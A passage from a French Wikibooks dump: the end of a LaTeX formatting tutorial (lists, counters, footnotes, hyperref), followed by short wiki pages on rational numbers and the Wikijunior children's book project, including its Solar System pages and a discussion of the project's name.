==== Dans certaines publications scolaires, un résumé est toujours placé au début. Il est généralement composé différemment du reste du texte, mis en retrait par rapport à l'un ou l'autre côté, et écrit avec une police légèrement plus petite. Il s'agit du moins de la présentation par défaut d'un résumé en Latex. Voyez [latextutorial2.html tutorial 2], ou [tutorial7/paras.tex paras.tex] et [tutorial7/paras.pdf paras.pdf] pour trouver des exemples d'utilisation d' ''abstract''. ==== Environnement <tt>Verse</tt> ==== Cet environnement est destiné à afficher de la poésie. Apparemment, peu de personnes utilisent cet environnement dans leur document, cependant, il ne coûte rien d'expliquer brièvement son utilisation. Comme tout environnement, il a besoin des commandes <tt>\begin</tt> et <tt>\end</tt>. Entre ces marques de début et de fin, un nouvelle strophe est créée en laissant une ligne blanche, et pour passer à la ligne dans une strophe on utilise la commande de passage à la ligne <tt>\\</tt >. Si une phrase prend plus d'une ligne dans la page, alors toutes les lignes suivantes seront mises en retrait par rapport à la première, jusqu'à ce que <tt>\\</tt> soit éventuellement rencontrée. Voyez à ce sujet les [ tutoriel7/paras.tex paras.tex ] et [ tutoriel7/paras.pdf paras.pdf ] pour des exemples d'utilisation de cet environnement. === Structures de liste === Les listes apparaissent souvent dans les ouvrages, et plus particulièrement dans les ouvrages scolaires, car leur but est souvent de présenter l'information de façon claire et concise. Les structures de liste en latex sont simplement des environnements qui se présentent sous trois formes différentes: <tt>itemize</tt>, <tt>enumerate</tt> et <tt>description</tt>. Toutes les listes suivent le format de base: \begin{type_de_liste} \item Premièrement \item Deuxièmement \item Troisièmement etc. \end{type_de_liste} ==== <tt>Itemize</tt> ==== Cet environnement permet d'afficher des listes à puces. {| | \begin{itemize} \item Premier élément \item Deuxième élément \item Troisième élément etc. \end{itemize} | [[Image:itemize.png]] |} ==== <tt>Enumerate</tt> ==== Cet environnement est conçu pour représenter des listes numérotées, dans lesquelles chaque élément est numéroté successivement. {| | \begin{enumerate} \item Premier élément \item Deuxième élément \item Troisième élément etc. \end{enumerate} | [[Image:enumerate.png]] |} ==== <tt>Description</tt> ==== L'environnement de description est légèrement différent. Vous pouvez donner une étiquette à un élément de la liste en la passant comme paramètre facultatif (bien que facultatif, il paraîtrait curieux de ne pas l'inclure!). Cet environnement est idéal pour une série de définitions, comme on en trouve dans un glossaire par exemple. {| | \begin{description} \item[Premier] Le premier élément \item[Deuxième] Le deuxième élément \item[Troisième] Le troisième élément \end{description} | [[Image:description.png]] |} ==== Listes imbriquées ==== Latex vous permet heureusement d'insérer un environnement de liste dans une autre liste existante (jusqu'à une profondeur de quatre). Il suffit simplement de créer un environnement de liste approprié à l'endroit désiré d'une liste donnée. Latex se chargera de la disposition des éléments, et d'une quelconque numérotation pour vous. {| | style="vertical-align: middle;" | \begin{enumerate} \item Le premier élément \begin{enumerate} \item Premier élément de la liste imbriquée \item Deuxième élément de la liste imbriquée \end{enumerate} \item Le second élément \item Le troisième élément \end{enumerate} | [[Image:listes_imbriquées.png]] |} === Listes personnalisées === Adapter des objets à ses besoins en Latex n'est pas toujours à la portée des débutants. Bien que ce ne soit pas forcément difficile intrinsèquement, les débutants, déjà accablés par une très grande quantité de commandes et d'environnements, risquent de se perdre en passant à des rubriques plus avancées. Cependant, ce chapitre traite de la mise en forme d'un texte et je vais donner de brèves indications sur la façon de personnaliser les listes. Vous êtes libre de passer ces paragraphes pour le moment. ==== Listes numérotées personnalisées ==== Ce que souvent les personnes veulent changer dans les listes numérotées sont les compteurs. Par conséquent, pour mieux comprendre, nous avons besoin d'introduire brièvement les ''compteurs'' de Latex. À tout objet que Latex numérote automatiquement, comme les en-têtes de section, les figures, et les listes, est associé un compteur qui contrôle la numérotation. De plus chaque compteur possède un format par défaut qui dicte à Latex la façon dont il doit être imprimé. De tels formats sont modifiés en utilisant des commandes internes de Latex: {| | Commande | Exemple |- | <tt>\arabic</tt> | 1, 2, 3 ... |- | <tt>\alph</tt> | a, b, c ... |- | <tt>\Alph</tt> | A, B, C ... |- | <tt>\roman</tt> | i, ii, iii ... |- | <tt>\Roman</tt> | I, II, III ... |- | <tt>\fnsymbol</tt> || destinés à la numérotation des apostilles (voir ci-dessous), mais imprime une suite de symboles. |} Il existe quatre compteurs différents qui sont associés aux listes à puces, chacun représentant les quatre niveaux possibles d'imbrication, et ils s'appellent: <tt>enumi</tt>, <tt>enumii</tt>, <tt>enumiii</tt>, <tt>enumiv</tt>. Chaque compteur contient plusieurs bits de données fournissant différentes informations. Pour obtenir l'élément numéroté, employez simplement la commande <tt>\the</tt> suivie immédiatement (c'est-à-dire sans aucun espace) du nom du compteur, par exemple <tt>\theenumi</tt>. Cette information est souvent désignée sous le nom de ''représentation du compteur''. Maintenant, laissons la plupart des technicités de côté. Pour effectuer des changements sur la mise en forme d'un niveau donné: <tt>\renewcommand{\</tt>''représentation''<tt>}{\</tt>''commande_de_mise_en_forme''<tt>{</tt>''compteur''<tt>}}</tt>. Évidemment, la version générique n'est pas vraiment claire, aussi une paire d'exemples clarifiera: % Redéfinition du premier niveau \renewcommand{\theenumi}{\Roman{enumi}} \renewcommand{\labelenumi}{\theenumi} % Redéfinition du deuxième niveau \renewcommand{\theenumii}{\Alph{enumii}} \renewcommand{\labelenumii}{\theenumii} La méthode utilisée ci-dessus change d'abord explicitement le format d'impression employé par le compteur. Cependant, l'élément qui contrôle l'étiquette doit être mis à jour pour refléter le changement, et cet ajustement est effectué par la deuxième ligne. Une autre manière d'obtenir le même résultat est: \renewcommand{\labelenumi}{\Roman{enumi}} Cela redéfinit simplement l'aspect de l'étiquette, ce qui suppose que vous n'avez pas l'intention d'établir des renvois à un article spécifique de la liste, auquel cas la référence serait imprimée dans l'ancien format. Ce problème n'apparaît pas dans le premier exemple. ==== Listes à puces personnalisées ==== Les listes à puces ne sont pas aussi complexes que les listes numérotées puisqu'elles n'utilisent pas de compteur. Ainsi, pour personnaliser de telles listes, vous pouvez juste changer les puces (étiquettes). Les puces sont accessibles via les commandes <tt>\labelitemi</tt>, <tt>\labelitemii</tt>, <tt>\labelitemiii</tt>, et <tt>\labelitemiv</tt> pour les quatre niveaux respectifs. \renewcommand{\labelitemi}{\textgreater} L'exemple ci-dessus imposerait aux puces du premier niveau d'être représentées par le symbole (>) strictement supérieur. Bien sûr, les symboles de texte en Latex ne sont pas très impressionnants. Pourquoi ne pas utiliser les symboles de la polices ''ZapfDingbat'', déjà utilisée dans la section [ #symboles symboles]. === Notes de pied de page === Les notes de pied de page sont très utiles pour fournir au lecteur des informations complémentaires. Elles ne sont pas en principe essentielles, et peuvent ainsi être placées au pied de la page, ce qui a pour effet de laisser le corps principal du texte concis. Il est facile de placer des notes au pied de la page. La commande dont vous avez besoin est: <tt>\footnote{''texte''}</tt>. Ne laissez pas d'espace entre la commande et le mot près duquel vous souhaitez que le marqueur d'apostille apparaisse, sinon Latex tiendra compte de cet espace et donnera un résultat différent de celui attendu. {| | style="vertical-align: middle;" | <tt>La création d'une note de pied de page est d'une grande simplicité.\footnote{Voici un exemple de note de pied de page.}</tt> | [[Image:footnote.png|thumb|right|506px|Exemple de note de pied de page]] |} Latex prendra évidemment soin de placer l'apostille au bas de la page. Chaque apostille est numérotée consécutivement. Ce processus, comme vous l'aviez certainement deviné est automatiquement fait à votre place. Il est possible d'adapter à votre guise l'impression des notes de pied de page. Par défaut, elles sont numérotés consécutivement en utilisant les chiffres arabes. Cependant, sans trop s'enfoncer dans les mécanismes internes de Latex pour le moment, il est possible de les changer en utilisant la commande suivante (qui a besoin d'être placée au début du document, ou tout au moins avant que la première commande d'apostille dans le texte). {| | <tt>\renewcommand{\thefootnote}{\arabic{footnote}}</tt> | Numérotation avec les chiffres arabes exemple 1, 2, 3... |- | <tt>\renewcommand{\thefootnote}{\roman{footnote}}</tt> | Numérotation avec les chiffres romains (en minuscule), exemple i, ii, iii... |- | <tt>\renewcommand{\thefootnote}{\Roman{footnote}}</tt> | Numérotation avec les chiffres romains (en majuscule), exemple I, II, III... |- | <tt>\renewcommand{\thefootnote}{\alph{footnote}}</tt> | avec les lettres de l'alphabet (en minuscule), exemple a, b, c... |- | <tt>\renewcommand{\thefootnote}{\Alph{footnote}}</tt> | avec les lettres de l'alphabet (en majuscule), exemple A, B, C... |- | <tt>\renewcommand{\thefootnote}{\fnsymbol{footnote}}</tt> | Une suite de neuf symboles (essayez et regardez le résultat!) |} === Notes de marge === Je ne pense pas me tromper en affirmant que c'est une commande peu utilisée, mais j'ai pensé que cela ne coûterait rien d'en parler étant donné sa simplicité d'utilisation. <tt>\marginpar{''texte dans la marge''}</tt > placera ''texte dans la marge'' dans la marge de gauche. Pour changer le côté par défaut, il suffit d'utiliser la commande <tt>\reversemarginpar</tt> qui obligera Latex à placer les notes dans la marge du côté opposé. === Liens hypertextes === Le package <tt>hyperref</tt> créé des liens sur la table des figure, ainsi que la table des matières, et permet d'inclure des liens hypertexte dans le document : * <tt><nowiki>\href{http://fr.wikipedia.org}</nowiki></tt> incluera par exemple un lien vers ''Wikipédia''. * <tt><nowiki>\href{http://fr.wikipedia.org}{Wikipédia}</nowiki></tt> incluera un lien avec l'étiquette ''Wikipédia''. * <tt><nowiki>\hyperlink{label1}{etiquette}</nowiki></tt> incluera un lien vers un label identifié par <tt>\hypertarget{label1}</tt>. Vous pouvez également régler certains paramètres d'un document PDF, grâce à le commande <tt>\hypersetup{}</tt>, placée par exemple dans le préambule du document : <tt> \hypersetup{ backref=true, % Permet d'ajouter des liens dans pagebackref=true, % les bibliographies hyperindex=true, % Ajoute des liens dans les index. colorlinks=true, % Colorise les liens. breaklinks=true, % Permet le retour à la ligne dans les liens trop longs. urlcolor= blue, % Couleur des hyperliens. linkcolor= blue, % Couleur des liens internes. bookmarks=true, % Créé des signets pour Acrobat. bookmarksopen=true, % Si les signets Acrobat sont créés, % les afficher complètement. pdftitle={Mon document au format TeX}, % Titre du document. % Informations apparaissant dans pdfauthor={PoluX}, % dans les informations du document pdfsubject={Projet wikiBooks} % sous Acrobat. } </tt> === Résumé === Ce chapitre a dû vous paraître vraiment long. Mais la mise en forme d'un texte demande quelques approfondissements si vous désirez obtenir une présentation de votre document parfaite. Latex est tellement flexible et paramétrable que j'ai seulement effleuré le sujet. En réalité il existe de très nombreux contrôles qui vont vous permettre d'obtenir la présentation la plus soignée possible et surtout celle que vous souhaitez. Mais un des buts de Latex est justement de vous éviter le plus possible de devoir vous occuper vous-même de la présentation, ainsi ne vous en souciez pas trop pour l'instant. Modèle:Guil 6392 28189 2006-01-03T22:29:59Z 85.218.8.235 emprunt à w:Modèle:Guil «&nbsp;{{{1}}}&nbsp;» Virus informatique/trivia 6393 28193 2006-01-04T00:44:57Z Greudin 1 [[Virus informatique/trivia]] déplacé vers [[Virus informatique/trivia α]]: trivia version α #REDIRECT [[Virus informatique/trivia α]] Algèbre:Nombres rationnels 6396 28378 2006-01-07T13:55:18Z 83.193.6.128 /* Généralités */ ==Généralités== Les nombres rationnels sont des nombres pouvant s'écrire sous la forme <math>a/b</math>, a et b étant deux nombres appartenant respectivement à <math>Z</math> et <math>N^{*}</math>. Par exemple, <math>\frac{12}{3}</math>, <math>15</math> sont des rationnels. Mais <math>\sqrt{2}</math>, <math>\pi</math> ne sont pas rationnels. Wikijunior:Demande de livre 6397 33537 2006-02-19T19:37:55Z Urban 886 /* Séries et livres souhaités */ <small>< [[Wikijunior]]</small> {| width="100%" style="background: lightyellow; border: 1px solid black;" cellspacing="0" cellpadding="10" | bgcolor="lightgreen" align="center" | <font size="+2">Demande de livre pour le projet [[Wikijunior]]</font> |- |Toute nouvelle '''demande de livre''' (ou de série) pour le projet [[Wikijunior]] est recensée dans cette liste. Ajoutez votre souhait sous le thème approprié. Il y aura peut-être un volontaire spécialiste pour vous le rédiger. ''Notez cependant qu'on n'est jamais aussi bien servi que par soi-même et que vous avez les même possibilités que tout utilisateur de wikilivre, de créer vous même l'article manquant.'' Vous pouvez écrire votre pseudonyme (si vous en possédez un) à coté de l'article que vous proposez sur cette page pour faciliter la discussion avec les autres wikipédiens. N'hésitez pas aussi à donner des liens vers des sites externes où l'on peut trouver des informations à ce sujet. |} ==Séries et livres souhaités== * Série « '''Le monde des découvertes et des innovations''' » ** [[Wikijunior:Système solaire]] - Déjà une version en anglais ({{en}} [http://upload.wikimedia.org/wikibooks/en/d/d8/Solar_System.pdf PDF du 1er août 2005], 1.5 Mo, 105 pages). Voir aussi [[:en:Wikijunior:Solar System|Solar System]]. --Boly ** ''ajouter un titre de livre'' - ''ajouter vos remarques / sources'' - ''signature'' ---- * Série « '''Le monde naturel''' » ** [[Wikijunior:Les félins]] - Version en anglais ({{en}} [http://upload.wikimedia.org/wikibooks/en/c/cc/Big_Cats.pdf PDF du 11 décembre 2005], 755Ko, 65 pages). Voir aussi [[:en:Wikijunior Big Cats|Big Cats]]. --Boly ** [[Wikijunior:Dinosaures]] - Voir aussi [[:en:Wikijunior Dinosaurs]] --Boly ** [[Wikijunior:Volcans]] -- [[Utilisateur:Urban|Urban]] 19 février 2006 à 19:37 (UTC) ** ''ajouter un titre de livre'' - ''ajouter vos remarques / sources'' - ''signature'' ---- * Série « '''Les civilisations''' » ** [[Wikijunior:Amérique du Sud]] - Voir aussi [[:en:Wikijunior Wikijunior South America|Wikijunior South America]]. --Boly ** [[Wikijunior:Civilisations anciennes]] - Voir aussi [[:en:Wikijunior Ancient Civilizations|Wikijunior Ancient Civilizations]]. --Boly ** [[Wikijunior:Moyen Âge]] -- [[Utilisateur:Urban|Urban]] 19 février 2006 à 19:37 (UTC) ** ''ajouter un titre de livre'' - ''ajouter vos remarques / sources'' - ''signature'' ---- * ''ajouter une série'' ** ''ajouter un titre de livre'' - ''ajouter vos remarques / sources'' - ''signature'' ==Voir aussi== * [[Wikilivres:Demande de livre]] '': Demande de livre générale à wikibooks''. [[Catégorie:Wikijunior|*]] Wikijunior/Tâches à faire 6398 29372 2006-01-19T18:38:38Z Boly38 136 +** voir [[w:fr:PDFCreator|PDFCreator]] {| width="100%" style="background: lightyellow; border: 1px solid black;" cellspacing="0" cellpadding="10" | bgcolor="lightgreen" align="center" | <font size="+2">Tâches à faire pour le projet [[Wikijunior]]</font> |- | bgcolor="lightyellow" | Voici les tâches à faire pour le projet. *Si vous souhaitez suggérer de nouvelles tâches, veuillez les inscrire en fin de liste ('*' ou '**' en début de ligne). *Si vous avez réalisé une tâche, merci de la barrer <s>comme ceci</s>. Veuillez indiquer le maximum de liens [[w:InterWiki|InterWiki]] permettant de comprendre la tâche à réaliser et/ou le travail accomplit. |} <!-- Liste des tâches à faire --> * Faire de la publicité pour le projet pour chercher des bras et des mains ! ** Pages <s>[http://meta.wikimedia.org/wiki/Wikijunior méta]</s>. ** Ici sur wikibooks : <s>[[Accueil]]</s>, <s>[[Wikilivres:Le Bistro|Bistro]]</s>, autres... ** En parler. * Prospecter sur [http://meta.wikimedia.org/wiki/Wikijunior meta] pour voir si la route suivie est bonne ;) * <s>Améliorer la présentation de la page [[Wikijunior]]</s> (elle reste améliorable bien évidemment :) * Débuter la traduction d'un ou plusieurs livres anglais (Voir [[Wikijunior:Demande de livre]]) <small>Premier livre démarré ! </small> * Parler des autres langues que l'anglais. Donner les liens vers les différentes langues. ** Japonais, Danois, Allemand, Esperantos... * Comment organiser les relectures ? <small>une fois les livres écrits ;)</small> ** Prévoir des inscriptions ? (personnes habituées au contact avec des enfants, des enfants eux-même ?) ** Quels Système d'évaluation (méthodologie par le vote, une notation, le système prévu par [[MediaWiki]] pour faire des versions validées ?) * Comment générer des [[w:Portable Format Document|PDF]] ? ** voir [[w:en:Wikipedia:WikiReader#WikiReader Resources|WikiReader Resources]]. ** voir [[w:fr:Wikipédia:Guilde des Guides#Document à partir d'un article de Wikipédia|GdG]] ** voir [[w:fr:PDFCreator|PDFCreator]] [[Catégorie:Wikijunior|*]] Wikijunior:Système solaire 6399 47158 2006-07-03T06:55:06Z 80.220.34.82 iw {| width="100%" border="0" cellspacing="0" cellpadding="0" | bgcolor="blue" align="center" colspan="2" | <font size="+1">&#160;<br/>''Le système solaire''<br/>&#160;</font> |- | bgcolor="deepskyblue" width="300px" | [[Image:Solar sys.jpg|300px|left|''Le système solaire'']] || bgcolor="deepskyblue" | ''Le système solaire'', un livre du projet [[Wikijunior]] appartenant à la série "'' Le monde des découvertes et des innovations''".<br>Ce livre déstiné aux enfants a pour but de leur faire découvrir le système solaire de manière générale sans rentrer dans les détails. |} {{Wikijunior:Le système solaire/Sommaire}} Ce livre a besoin de vous pour prendre forme alors n'hésitez pas à créer ou modifier des pages. [[catégorie:Wikijunior:Système solaire|*]] [[en:Wikijunior Solar System]] [[es:Wikichicos Sistema Solar]] [[zh:Wikijunior:太阳系]] [[fi:Wikijunior Aurinkokunta]] Wikijunior/Présentation 6401 31483 2006-02-05T11:00:13Z Boly38 136 +Logo proposé pour Wikijunior [[Image:WikiJunior logo-200px.PNG|thumbnail|right|Logo proposé pour Wikijunior]]'''Wikijunior''' consiste à réaliser un [[w:site Web|site Web]] (un ensemble de wikilivres) et un [[w:magazine|magazine]] à destination des enfants âgés de 8 à 11 ans. Le projet a pour objectif trois séries de magazines imprimés : * ''Le monde naturel'' ; * ''Les populations'' ; * ''Le monde des découvertes et des innovations''. Wikijunior/Bibliothèque 6402 35734 2006-03-03T22:56:27Z Boly38 136 Démarré now Cool :D [[Image:Solar sys.jpg|thumb|right|100px|Le système solaire]] Série « '''Le monde des découvertes et des innovations''' » : ''les mathématiques, les sciences et les technologies''. ''Livre(s) :'' * [[Wikijunior:Système solaire|''Le système solaire'']] ::<small>Aide : [[:en:Solar System|en]] | {{en}} [http://upload.wikimedia.org/wikibooks/en/d/d8/Solar_System.pdf Solar_System.pdf] - 01/08/2005, 1.5 Mo, 105 pages.</small> [[Image:Lion zoo antwerp 1280.jpg|thumb|100px|right|Le lion : un félin.]] Série « '''Le monde naturel''' » : ''la biologie et la géographie''. ''Livre(s) :'' * [[Wikijunior:Les dinosaures|''Les dinosaures'']] ::<small>Aide : [[:en:Wikijunior Dinosaurs|en]] | ... </small> * [[Wikijunior:Les félins|''Les félins'']] ::<small>Aide [[:de:Wikijunior Großkatzen|de]] | [[:en:Wikijunior Big Cats|en]] | [[:es:Wikichicos Grandes Felinos|es]] | [[:it:Wikijunior Grandi felini|it]] | [[:zh:Wikijunior 大猫|zh]] | {{en}} [http://upload.wikimedia.org/wikibooks/en/c/cc/Big_Cats.pdf Big_Cats.pdf] - 11/12/2005, 755Ko, 65 pages.</small> [[Image:Palestinian children in Jenin.jpg|thumb|100px|right|Enfants de palestine]] Série « '''Les civilisations''' » : ''les différentes cultures, l'histoire, les grandes civilisations, et la vie, la société''. ''Livre(s) :'' * [[Wikijunior:L'Amérique du Sud|''L'Amérique du Sud'']] ::<small>non démarré en version française.</small> * [[Wikijunior:Les civilisations anciennes|''Les civilisations anciennes'']] ::<small>Aide [[:en:Wikijunior Ancient Civilizations]] * [[Wikijunior:Les grandes villes du monde|''Les grandes villes du monde'']] * [[Wikijunior:Les grandes dates de l'histoire de France|''Les grandes dates de l'histoire de France'']] Wikijunior/Nouveautés 6403 43166 2006-05-26T09:31:26Z Boly38 136 /* Nouveautés */ +dino ==Nouveautés== '''Livres''' *[[Wikijunior:Système solaire]] *[[Wikijunior:Les félins]] *[[Wikijunior:Les civilisations anciennes]] *[[Wikijunior:Les dinosaures]] '''Projet''' *[[Wikijunior:Wikijunior]] : la page du projet '''Wikijunior'''. *[[Wikijunior/Tâches à faire|Les tâches à faire pour le projet]] *{{en}} [[meta:Wikijunior project logo|La page projet du logo pour Wikijunior]] Wikijunior/Lumière Sur 6404 43165 2006-05-26T09:30:39Z Boly38 136 T-Rex ==Lumière Sur== [[Image:Trex skelleton 2.jpg|90px|left]] [[Wikijunior:Les dinosaures/T-Rex|Le Tyrannosaure rex]] pouvait mesurer jusqu'à '''13 mètres''' de long, '''5 mètres''' de haut, et peser entre '''4 et 6 tonnes'''. Cela signifie que si tu te tenais debout à coté d'un T-rex, il aurait mesurer entre 4 et 6 fois ta taille, et ils auraient pesé beaucoup mais vraiment beaucoup plus lourd que toi. On les reconnaissait facilement avec leur machoires courtes mais profondes, leurs dents énormes et leur petits bras. Leur grande machoire et leur larges dents en faisaient de terribles prédateurs. La seule machoire du T-rex faisait environ 1 mètre 30 et avait entre 50 en 60 dents de plus de 10 centimètres de long capables de broyer des os. A cause de leurs petits yeux, on pense qu'il n'avait pas une bonne vision de loin. Wikijunior/Informations 6405 42397 2006-05-15T20:40:10Z Greudin 1 +wikipédia Junior ==Informations== * Le titre '''Wikijunior''' doit-il changer ? ''[[Wikijunior:Wikijunior|donnez votre avis]]!'' * Le livre sur [[Wikijunior:Système solaire|le système solaire]] a démarré * Le livre sur [[Wikijunior:Les félins|les félins]] a démarré * L'encyclopédie pour les enfants est amorcée, c'est [[w:Projet:Wikipédia Junior|Wikipédia Junior]] Wikijunior/À propos 6406 28273 2006-01-05T12:23:52Z Boly38 136 création ==À propos de Wikijunior== * [[Wikijunior:Wikijunior|À propos de Wikijunior]] <!--* [[Wikijunior:Aide|Aide]] --> <!--* [[Wikijunior:Foire aux questions|Foire aux questions]] --> * [[Projet:Charte_pédagogique|Charte pédagogique]] * [[Wikijunior:Demande de livre|Demande de livre]] Wikijunior:Système solaire/Le soleil 6407 43279 2006-05-26T16:48:34Z Xzapro4 1530 Orthographe {{Système solaire}}[[Image:Sun_in_X-Ray.png|thumb|250px|right|Une image du Soleil vu aux rayons X.]] '''Le Soleil''' est le centre du système solaire. C'est lui que nous pouvons voir pendant la journée, mais il ne faut jamais le regarder directement au risque de devenir aveugle ! Tous les autres objets du système solaire tournent autour de lui : on dit qu'ils sont en orbite autour du Soleil. ==Le Soleil c'est quoi?== Le Soleil est une immense boule de feu plusieurs milliers de fois plus grande que la [[Wikijunior:Système solaire/La Terre|Terre]]. Grâce à ce feu le soleil est très chaud, c'est lui qui réchauffe [[Wikijunior:Système solaire/Les planètes|les planètes]] dont la [[Wikijunior:Système solaire/La Terre|Terre]] qui sans lui serait une boule de glace. [[Image:The_Sun_with_Prominence.jpg|thumb|250px|left|Une photo du soleil où l'on voit des projections de plasma.]] ==L'intérieur du Soleil== [[Image:Sunlayers.gif|thumb|350px|right|L'intérieur du soleil (à traduire).]] [[Image:The Sun w920607.jpg|thumb|250px|right|Le soleil avec des taches dues à des différences de température.]] [[catégorie:Wikijunior|Soleil, Le]] [[catégorie:Wikijunior:Système solaire|Soleil, Le]] [[en:Wikijunior Solar System/The Sun]] [[es:Wikichicos Sistema Solar/El Sol]] [[zh:Wikijunior:太阳系/太阳]] Catégorie:Wikijunior:Système solaire 6408 28502 2006-01-09T00:07:20Z Boly38 136 +cat +cat [[Catégorie:Wikijunior]] (cette catégorie est une sous-catégorie de Wikijunior) Cette catégorie regroupe l'ensembles des pages du livre [[Wikijunior:Système solaire]]. [[Catégorie:Wikijunior|Système solaire, Le]] Wikijunior:Wikijunior 6415 43282 2006-05-26T17:05:51Z Xzapro4 1530 Ajout de nom =À propos de Wikijunior= <small>< [[Wikijunior]]</small> '''Wikijunior''' est le projet de réalisation d'un ensemble de livres à destination des enfants âgés de 8 à 11 ans. Le projet a pour objectif 3 séries de magazines imprimés (ou plus). __TOC__ ==Les séries Wikijunior== [[Image:Solar sys.jpg|thumb|right|100px|Le système solaire]] ===Le monde des découvertes et des innovations=== Cette série traite des mathématiques, des sciences et des technologies. Voici les livres que comporte la série : * [[Wikijunior:Système solaire]] {{1/4}} Vous pouvez aider en complétant le livre ou les livres ci-dessus. Pour vous aider, voici les versions en anglais : * {{en}} [http://upload.wikimedia.org/wikibooks/en/d/d8/Solar_System.pdf PDF du 1er août 2005], 1.5 Mo, 105 pages. En cours d'approbation. ===Le monde naturel=== [[Image:Lion zoo antwerp 1280.jpg|thumb|100px|right|Le lion : un félin.]] Cette série traite notamment de la biologie et de la géographie. Voici les livres que comporte la série : * [[Wikijunior:Les félins]] {{1/4}} ([[:de:Wikijunior Großkatzen|de]] | [[:en:Wikijunior Big Cats|en]] | [[:es:Wikichicos Grandes Felinos|es]] | [[:it:Wikijunior Grandi felini|it]] | [[:zh:Wikijunior 大猫|zh]]). * [[Wikijunior:Dinosaure]] ([[:en:Wikijunior Dinosaurs|en]] | ... ) : non démarré en version française Vous pouvez aider en complétant le livre ou les livres ci-dessus. Pour vous aider, voici les versions en anglais : * {{en}} [http://upload.wikimedia.org/wikibooks/en/c/cc/Big_Cats.pdf Big_Cats.pdf] - 11 décembre 2005, 755Ko, 65 pages. ===Les civilisations=== [[Image:Palestinian children in Jenin.jpg|thumb|100px|right|Enfants de palestine]] Cette série traite des populations, c'est-à-dire des différentes cultures, de l'histoire, des civilisations. Elle comprend également ce qui se rapporte à la vie, la société. Voici les livres que comporte la série : * [[Wikijunior:Amérique du Sud]] ( [[:en:Wikijunior South America|en]] | [[:de:Wikijunior Südamerika|de]] | [[:es:Wikichicos América del Sur|es]] | [[:zh:Wikijunior:南美洲|zh]] ) : non démarré en version française. * [[Wikijunior:Les civilisations anciennes]] ([[:en:Wikijunior_Ancient_Civilizations|en]]) : non démarré en version française. ===Les titres des séries / livres=== Les titres des séries et des livres déjà présents sur la page [[Wikijunior]] peuvent à mon humble avis être remis en cause (vu que ''Wikijunior'' peut l'être). Personnellement je pencherai pour conserver les même noms des séries (pour faire comme les autres langues), et puis pourquoi pas les même noms des livres (l'aide de la version anglaise -entre autres- peut être précieuse pour débuter). Toutefois, si vous avez des idées pour débuter avec d'autres noms de livres...<small>Veuillez vous reporter à la procédure qui n'existe pas encore ;o)</small> --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 3 janvier 2006 à 18:17 (UTC) :Voir la nouvelle page [[Wikijunior:Demande de livre]] --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 4 janvier 2006 à 17:37 (UTC) ==Ajouter des titres à Wikijunior== Vous pouvez ajouter des titres à Wikijunior, mais, commencez d'abord par alimenter les titres déjà existants. <!-- Pour vous aider à démarrer un nouveau livre wikijunior, nous vous demandons de bien vouloir consulter les indications suivantes : {{Wikijunior:Nouveau livre}} --> Si vous désirez ajouter un nouveau titre de livre à Wikijunior, veuillez suivre le lien suivant pour en faire la demande : :[[Wikijunior:Demande de livre]] ==Historique== Il y a quelques temps, la fondation Beck se rapprocha de la fondation [[Wikimedia]] pour rechercher des moyens de développer une technique d'éducation ciblant les enfants. La fondation Wikimedia répondit favorablement en se montrant interessée par un tel projet, et en évoquant le fait que techniquement cela était possible de créer un support pour les enfants. Une proposition (cf. {{en}} [[meta:Wikijunior/2005 Beck Foundation grant|2005 Beck Foundation grant]]) a été émise comportant 10 000 $ pour le développement du projet (cf. Rencontre du 16 octobre 2004 du bureau). Ainsi naquis '''Wikijunior'''. Il est à noter que le nom ''Wikijunior'' est un nom issu du projet mais que les suggestions sont les bienvenues pour faire évoluer le titre. ==Logos proposés== * [http://meta.wikimedia.org/wiki/Image:WikiJunior_logo.PNG WikiJunior_logo.PNG] * [http://meta.wikimedia.org/wiki/Image:Risk_wikijunior-logo-wide300.png Risk_wikijunior-logo-wide300.png] * {{en}} [[meta:Wikijunior project logo|La page projet du logo pour Wikijunior]] ''Le logo n'est pas encore sur Wikicommons.'' <!-- à mettre lorsque le logo sera sur commons : {{Commons}} --> ==Membres du projet== '' <nowiki>~~~</nowiki> - Pour quels thèmes - Pour contribuer / relire / participer sous quelle forme ? '' * [[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] - Tous les thèmes - Organiser les pages du projet, Relire, Structurer le contenu, Wikifier, Illustrer... Je ne suis que très peu pédagogue donc pour rédiger des livres à l'attention des enfants j'essaierai mais d'autres feront mieux, bien mieux que moi ;) * [[Utilisateur:Shanel|Shanel]] - J'ai travaillé sur le Wikijunior anglais. :) * [[Utilisateur:Xzapro4|Xzapro4]] : je veux bien me lancer dans la traduction du wikibook junior sur le système solaire dès que je trouverai le temps. ==Le titre ''Wikijunior''== <s>Ce titre amha est trop... anglais ;) ... </s> Je propose des suggestions de nom pour le projet francophone. Dans un second temps seulement, on envisagera de voter <small>(si je suis seul ce sera pas dur :)) mais j'espère pas être seul ;)</small>--[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 3 janvier 2006 à 18:17 (UTC) Propositions : *'''Wikijunior''' (c-à-d conserver le nom existant) #oui [[Utilisateur:Greudin|Greudin]] #Oui également. [[Utilisateur:Korg|Korg]] 9 janvier 2006 à 06:39 (UTC) *'''WikiJeune''' / '''WikiJeun's''' #J'aime ce nom. C'est comme "Wikijunior," mais ce n'est pas le même. :P--[[Utilisateur:Shanel|Shanel]] 5 janvier 2006 à 04:41 (UTC) #Pour, pourquoi les jeunes n'aurait pas droit à leur wiki ? ;-) [[Utilisateur:Jona|Jona]] *'''Wiki pour enfants''' (comporte des espacements ? - bof.. enfantilise de trop) *'''WikiAttitude''' (branché :) *'''WikiFun''' / '''FunWiki''' (trop anglais...) *'''WikiZin pour enfants''' *'''WikiMôme''' *'''WikiTribu''' # oui, je trouve ce titre sympa, ça donne un petit coté convivial ... Donc je vote pour WikiTribu [[Utilisateur:Yggdrasil|Yggdrasil]] 10 janvier 2006 à 20:54 (UTC) *'''Wikikids''' * ''à vous!'' Voir aussi : (en - meta)[[:meta:Wikijunior project name|Wikijunior project name]]. --Boly :Bah en fait ''junior'' c'est aussi français non ? je sais pas pourquoi je cherche midi à 14h .. ;) --Boly :Vu que je suis pas le seul à penser que çà pourrait changer, '''je propose''' que l''''on récupère toutes les suggestions de titre''' pour '''Wikijunior''' jusque disons '''fin février 2006''', '''avant d'entâmer les votes'''.. Je propose cela pour 2 raisons : ::1-J'ai comme l'impression qu'il y a peu de personnes sur wikilivres en ce moment.. donc pour faire 